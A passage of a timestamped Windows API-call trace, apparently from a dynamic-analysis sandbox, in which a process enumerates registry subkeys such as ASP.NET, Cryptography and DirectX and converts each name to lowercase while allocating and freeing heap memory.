| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.902] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x226b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.902] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x226b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.902] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x226b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.903] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x226b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.903] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x226b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x226c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.903] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x226b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x226c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.903] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.903] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x226b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0139.903] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.904] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x226b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.904] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x226b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.904] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x226b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.904] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.904] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x226b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0139.904] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.905] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x226b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.905] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x226b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.905] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x226b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.905] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.905] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x226b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.905] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x226c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.906] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x226b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.906] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x226b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x226c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.906] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x226b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x226c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.906] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.906] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x226b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0139.906] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.907] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x226b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.907] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.907] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x226b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0139.907] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", 